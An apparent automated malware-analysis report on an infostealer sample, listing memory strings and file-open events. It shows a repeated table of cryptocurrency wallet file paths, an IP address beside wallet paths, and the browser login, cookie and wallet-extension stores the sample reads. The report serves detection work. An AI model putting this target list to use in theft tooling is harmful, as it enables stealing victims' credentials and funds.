Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569760709.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2569760709.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16\AppData\Roaming\\Coinomi\Coinomi\wallets\\.n
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\MultiDoge\multidoge.wallet
Source: file.exe, 00000000.00000002.2569760709.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 684030933f.exe, 0000001F.00000002.3301305599.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live%~0;

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
